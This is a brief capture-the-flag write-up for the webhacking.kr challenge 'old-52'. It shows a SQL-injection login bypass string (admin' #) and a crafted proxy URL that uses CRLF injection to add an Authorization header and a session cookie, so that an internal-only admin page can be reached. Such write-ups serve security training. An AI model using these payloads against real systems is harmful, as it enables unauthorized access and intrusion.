old-52 -- SQLi + SSRF

URLs:

old-52.png

/admin asks for credentials. guest:guest can be used for auth.

old-52-1.png
old-52-3.png

Source:

Proxy is a bit friendlier: http://webhacking.kr:10008/proxy.php?page=/admin/arrow-up-right

old-52-2.png

First we need to become admin, and since there's no validation on SQL query it's easily by passable like admin' #:uwu (username:password format)

But we can't access the flag, because only internal services can. That's where the Proxy comes in. We are allowed to specify the path, but it's also not sanitized so we are able to inject new headers.

Start cooking in CyberChef, Recipearrow-up-right should look like this:

old-52-5.png

http://webhacking.kr:10008/proxy.php?page=/admin/%20HTTP/1.1%0D%0AAuthorization:%20Basic%20YWRtaW4nICM6dXd1%0D%0ACookie:%20PHPSESSID=hi4uvai5sde90encr0ktq6879f%0D%0AUser-Agent:arrow-up-right

old-52-4.png
circle-check

Last updated